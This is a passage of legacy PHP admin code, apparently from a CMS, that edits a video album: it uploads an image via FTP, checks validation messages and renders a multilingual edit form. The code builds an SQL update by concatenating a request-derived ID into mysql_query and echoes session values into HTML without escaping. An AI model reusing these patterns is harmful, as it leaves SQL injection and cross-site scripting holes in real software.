$bigThumbtoPath, $bigThumwidth, $bigThumheight); } if($conditionvar=='1') { ob_start(); $myFile = $_FILES['txtimage']; $srvfile = $myFile['tmp_name']; include('arya_ftpfile.php'); $destination_file =$destDirsrv.'/'.$FileName; $smalldestination_file =$destDirsrv.'/'.$SmallFileName; $bigdestination_file =$destDirsrv.'/'.$BigFileName; $srvupload = ftp_put($srvconn_id, $destination_file, $srvfile, FTP_BINARY); $srvthumbupload = ftp_put($srvconnect_id, $smalldestination_file, $srvfile, FTP_BINARY); $srvbigthumbupload = ftp_put($srvconnect_id, $bigdestination_file, $srvfile, FTP_BINARY); $smupload = ftp_put($srvconnect_id, $smalldestination_file, "http://".$_SERVER['HTTP_HOST']."/aryaadmin/media/".$year."/".$month."/".$SmallFileName, FTP_BINARY); $bigupload = ftp_put($srvconnect_id, $bigdestination_file, "http://".$_SERVER['HTTP_HOST']."/aryaadmin/media/".$year."/".$month."/".$BigFileName, FTP_BINARY); ftp_close($srvconn_id); ftp_close($srvconnect_id); $qryUpdArticleImage="update arya_videoalbum set va_image='".$smalldestination_file."' where va_id =".$vdalbmid.""; $qUpdArticleImage=mysql_query($qryUpdArticleImage); } } //image code end } RedirecPage('arya_mngvideoalbum.php?'.$orgval.$eventval.$nwsval.$festval.$msgval.''); //echo "<script language=JavaScript>location.href='arya_mngvideoalbum.php?".$orgval.$eventval.$nwsval.$festval.$msgval."';"; } else { RedirecPage('arya_editvideoalbum.php?vdalbmid='.$vdalbmid.'&scid='.$pagesecid.'&sellng='.$_SESSION["sellng"].'&msg=duprec'); //$msg = $msgDuplicatRecord; } } else { $msg=$msgFillFormField; } } $classengerrttl='class="txtbox"'; $classhnderrttl='class="txtbox"'; $classotherrttl='class="txtbox"'; $classengerrshrt='class="txtbox"'; $classhnderrshrt='class="txtbox"'; $classotherrshrt='class="txtbox"'; $classpseq='class="txtseq"'; if($_GET['msg']=="ettlerremp") // php validation error message { $msg = $lbl_errmenmsg." ".$lbl_englishtitle; $dbtitle=""; $classengerrttl='class="errtxtengbord"'; } else if($_GET['msg']=="ettlerr") // php validation error message { $msg = $lbl_errvalidmsg." ".$lbl_englishtitle; $classengerrttl='class="errtxtengbord"'; } else if($_GET['msg']=="hdttlerremp") // php validation error message { $msg=$lbl_errmenmsg." ".$lbl_hindititle; $dbtitlehindi=""; $classhnderrttl='class="errtxtengbord"'; } else if($_GET['msg']=="hdttlerr") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_hindititle; $classhnderrttl='class="errtxtengbord"'; } else if($_GET['msg']=="otrttlerremp") // php validation error message { $msg=$lbl_errmenmsg." ".$lbl_othertitle; $dbtitleother=""; $classotherrttl='class="errtxtengbord"'; } else if($_GET['msg']=="otrttlerr") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_othertitle; $classotherrttl='class="errtxtengbord"'; } else if($_GET['msg']=="empshrttext") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_shorttexteng; $dbshorttxt=""; $classengerrshrt='class="errtxtengbord"'; } else if($_GET['msg']=="shrttexterr") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_shorttexteng; $classengerrshrt='class="errtxtengbord"'; } else if($_GET['msg']=="shrthdttlerremp") // php validation error message { $msg=$lbl_errmenmsg." ".$lbl_shorttexthindi; $dbshorttxthindi=""; $classhnderrshrt='class="errtxtengbord"'; } else if($_GET['msg']=="shrthdttlerr") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_shorttexthindi; $classhnderrshrt='class="errtxtengbord"'; } else if($_GET['msg']=="shrtotrttlerremp") // php validation error message { $msg=$lbl_errmenmsg." ".$lbl_shorttextother; $dbshorttxtother=""; $classotherrshrt='class="errtxtengbord"'; } else if($_GET['msg']=="shrtotrttlerr") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_shorttextother; $classotherrshrt='class="errtxtengbord"'; } else if($_GET['msg']=="vaseqerr") // php validation error message { $msg=$lbl_errvalidmsg." ".$lbl_sequence; $classpseq='class="txtseqerr"'; } else if($_GET['msg']=="duprec") { $msg=$msgDuplicatRecord; } else { unset($_SESSION["cmblanguage"]); unset($_SESSION["txttitle"]); unset($_SESSION["txthindititle"]); unset($_SESSION["othertxttitle"]); unset($_SESSION["txtshorttexttitle"]); unset($_SESSION["txthindishorttext"]); unset($_SESSION["othertxtshorttext"]); unset($_SESSION["cmborg"]); unset($_SESSION["cmbevent"]); unset($_SESSION["cmbnews"]); unset($_SESSION["cmbfest"]); unset($_SESSION["FckContent"]); unset($_SESSION['txtsequence']); unset($_SESSION['chkshowhomeyes']); unset($_SESSION['chkshowhomeno']); unset($_SESSION['chkvisibleyes']); unset($_SESSION['chkvisibleno']); if($_GET["sellng"]=="") { unset($_SESSION['nlnid']); unset($_SESSION["sellng"]); } $classengerrttl='class="txtbox"'; $classhnderrttl='class="txtbox"'; $classotherrttl='class="txtbox"'; $classengerrshrt='class="txtbox"'; $classhnderrshrt='class="txtbox"'; $classotherrshrt='class="txtbox"'; $classpseq='class="txtseq"'; } if($_SESSION['txtsequence']=="") { $_SESSION['txtsequence']=$dbsequence; } $_SESSION['nlnid']=$_GET['sellng']; if($_SESSION['nlnid'] > 0) { $lngid=getFieldValue('lang_id','arya_language','lang_id="'.$_SESSION['nlnid'].'"'); } else { $lngid=getFieldValue('lang_id','arya_videoalbum','va_id="'.$vdalbmid.'"'); } $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$lngid.'"'); if($_GET['msg']=="err") // php validation error message { $msg="Please Enter Valid Input"; } ?> <form method="post" action="" name="frmvalbum" id="frmvalbum" enctype="multipart/form-data" onsubmit="return blankVAlbum();" > <table width="100%" summary="" border="0" cellpadding="0" cellspacing="0"> <tr><td height="25"> </td></tr> <tr><td align="center" class="bigheader"><?php echo $title_editvideoalbum; ?></td></tr> <tr><td height="20"> </td></tr> <?php echo SuccessMessage($msg);?> <tr> <td> <table summary="" border="0" align="center" width="100%" cellpadding="0" cellspacing="0"> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"> <?php echo $lbl_selectlanguage; ?> : </td> <td align="left" colspan="3"> <select name="cmblanguage" id="cmblanguage" id="cmblanguage" class="selbox" onchange="return ChangeSelectLanguage(this.value,'editvideoalbum','<?php echo $vdalbmid; ?>','','<?php echo $pagesecid;?>');"> <?php if($_SESSION["cmblanguage"] > 0) { echo GetAllLanguage($_SESSION["cmblanguage"]); } else { echo GetAllLanguage($lngid); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr align="right"> <td align="right" width="18%"><?php echo $sign." ".$lbl_englishtitle;?> : </td> <td align="left"> <input type="text" name="txttitle" id="txttitle" value="<?php if($_SESSION["txttitle"]!=""){echo $_SESSION["txttitle"]; }else{ echo $dbtitle; } ?>" <?php echo $classengerrttl; ?> onkeypress="return isAlphabetic(event);" maxlength="200"/> </td> <td align="right"><?php if($lngid == "2") { echo $sign." "; } echo $lbl_hindititle;?> : </td> <td align="left" width="15%"> <input type="text" name="txthindititle" id="txthindititle" onfocus="changeLanguage('txthindititle', 'devanagari')" value="<?php if($_SESSION["txthindititle"]!=""){echo $_SESSION["txthindititle"]; }else{ echo $dbtitlehindi; } ?>" <?php echo $classhnderrttl; ?> onkeypress="return isAlphabetic(event);" maxlength="300"/> </td> <?php if($lngid=='1' || $lngid == "2") { ?> <td align="right" width="13%"> </td> <td align="left"> </td> <?php } else {?> <td align="right" width="13%"><?php echo $sign." ".$lbl_othertitle;?> : </td> <td align="left"> <input type="text" name="othertxttitle" id="othertxttitle" value="<?php if($_SESSION["othertxttitle"]!=""){echo $_SESSION["othertxttitle"]; }else{ echo $dbtitleother; } ?>" <?php echo $classotherrttl; ?> onkeypress="return isAlphabetic(event);" maxlength="300"/> </td><?php } ?> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right"><?php echo $sign." ".$lbl_shorttexteng;?> : </td> <td> <textarea rows="3" cols="10" name="txtshorttexttitle" id="txtshorttexttitle" <?php echo $classengerrshrt; ?>><?php if($_SESSION["txtshorttexttitle"]!=""){echo $_SESSION["txtshorttexttitle"]; }else{ echo $dbshorttxt; } ?></textarea> </td> <td align="right"><?php if($lngid == "2") { echo $sign." "; } echo $lbl_shorttexthindi;?> : </td> <td> <textarea rows="3" cols="10" name="txthindishorttext" id="txthindishorttext" onfocus="changeLanguage('txthindishorttext', 'devanagari')" <?php echo $classhnderrshrt; ?>><?php if($_SESSION["txthindishorttext"]!=""){echo $_SESSION["txthindishorttext"]; }else{ echo $dbshorttxthindi; } ?></textarea> </td> <?php if($lngid!='1' && $lngid!="2" ) { ?> <td align="right"><?php echo $sign." ".$lbl_shorttextother;?> : </td> <td align="left"><textarea rows="3" cols="10" name="othertxtshorttext" id="othertxtshorttext" <?php echo $classotherrshrt; ?>><?php if($_SESSION["othertxtshorttext"]!=""){echo $_SESSION["othertxtshorttext"]; }else{ echo $dbshorttxtother; } ?></textarea> </td> <?php } ?> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_selinstitution;?> : </td> <td> <select name="cmborg" id="cmborg" class="selbox" > <option value="0"><?php echo $lbl_selinstitution;?></option> <?php if($_SESSION["cmborg"] > 0) { echo getInstitution($_SESSION["cmborg"]); } else { echo getInstitution($dborganizationid); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_selectevent;?> : </td> <td> <select name="cmbevent" id="cmbevent" class="selbox" > <option value="0"><?php echo $lbl_selectevent;?></option> <?php if($_SESSION["cmbevent"] > 0) { echo getEvent($_SESSION["cmbevent"]); } else { echo getEvent($dbeventid); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_selectnews;?> : </td> <td> <select name="cmbnews" id="cmbnews" class="selbox" > <option value="0"><?php echo $lbl_selectnews;?></option> <?php if($_SESSION["cmbnews"] > 0) { echo getNews($_SESSION["cmbnews"]); } else { echo getNews($dbnewsid); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_selfestival;?> : </td> <td> <select name="cmbfest" id="cmbfest" class="selbox" > <option value="0"><?php echo $lbl_selfestival;?></option> <?php if($_SESSION["cmbfest"] > 0) { echo getFestival($_SESSION["cmbfest"]); } else { echo getFestival($dbfstid); } ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="40%" colspan="3"><?php echo $sign." ".$lbl_image;?> : </td> <td colspan="3"> <table cellpadding="0" cellspacing="0" border="0" > <tr> <td><input type="file" name="txtimage" id="txtimage" value="<?php echo $dbimage; ?>" /></td> <td><img src="<?php echo $pathvar.$dbimage; ?>" width="80" alt="" title="" /></td> </tr> </table> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_content;?> : </td> <td colspan="3"> <?php if($_SESSION["FckContent"]!="") { $longtxt1=$_SESSION["FckContent"]; } else { $longtxt1=$fck_content; } include_once("arya_ckeditor.php"); /*include_once("FCK/fckeditor.php"); $oFCKeditor = new FCKeditor('FckContent'); $oFCKeditor->BasePath = "FCK/" ; $oFCKeditor->Value = "$fck_content1"; $oFCKeditor->Width = 650; $oFCKeditor->Height= 300; $oFCKeditor->Create() ;*/ //include('arya_fck.php'); ?> </td> </tr> <?php if($rightapprove == 'Self' || $rightapprove == 'All') { ?> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="40%" colspan="3"><?php echo $lbl_sequence;?> : </td> <td><input type="text" name="txtsequence" id="txtsequence" <?php echo $classpseq; ?> size="2" onKeyPress="return checkInt(event);" value="<?php if($_SESSION['txtsequence']!=""){echo $_SESSION['txtsequence']; }else{ echo $dbsequence; } ?>"/></td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"><?php echo $lbl_showhome;?> : </td> <td> <input type="radio" name="txtshowhome" id="txtshowhome" value="Yes"<?php if($_SESSION['chkshowhomeyes']!="") { echo $_SESSION['chkshowhomeyes']; } else { if($_SESSION['chkshowhomeno']=="") { echo $showyes; } } ?> />Yes <input type="radio" id="txtshowhome" name="txtshowhome" value="No" <?php if($_SESSION['chkshowhomeno']!="") { echo $_SESSION['chkshowhomeno']; } else { if($_SESSION['chkshowhomeyes']=="") { echo $showno; } } ?>/>No </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"><?php echo $lbl_visible;?> : </td> <td> <input type="radio" name="txtvisible" id="txtvisible" value="Yes" <?php if($_SESSION['chkvisibleyes']!="") { echo $_SESSION['chkvisibleyes']; } else { if($_SESSION['chkvisibleno']=="") { echo $visibleyes; } } ?> />Yes <input type="radio" id="txtvisible" name="txtvisible" value="No" <?php if($_SESSION['chkvisibleno']!="") { echo $_SESSION['chkvisibleno']; } else { if($_SESSION['chkvisibleyes']=="") { echo $visibleno; } } ?>/>No </td> </tr> <?php } ?> <tr><td height="5" colspan="6"></td></tr> <tr> <td colspan="3"></td> <td colspan="3" align="left"> <input type="submit" name="btnadd" id="btnadd" value="<?php echo $btn_update;?>" class="button" /> <input <?php echo $btntype;?> name="btnreset" id="btnreset" value="<?php echo $btn_reset;?>" class="button" /> <input type="button" name="back" id="back" value="<?php echo $btn_back; ?>" class="button" onclick="history.go(-1);" /> </td> </tr> <script language="javascript" type="text/javascript"> pph = new PramukhPhoneticHandler(); pph.convertToIndicIME("txthindititle", document.getElementById('txthindititle'),'english'); pph.convertToIndicIME("txthindishorttext", document.getElementById('txthindishorttext'),'english'); <?php if($lngname=='Hindi') { ?> pph.convertToIndicIME("othertxttitle", document.getElementById('othertxttitle'),'Devanagari'); pph.convertToIndicIME("txthindishorttext", document.getElementById('txthindishorttext'),'Devanagari'); <?php } else { ?> pph.convertToIndicIME("othertxttitle", document.getElementById('othertxttitle'),'<?php echo $lngname; ?>'); pph.convertToIndicIME("othertxtshorttext", document.getElementById('othertxtshorttext'),'<?php echo $lngname; ?>'); <?php } ?> </script> </table> </td> </tr> </table> </form> <?php // content over // footer start include("arya_footer.php"); // footer over ?>
Close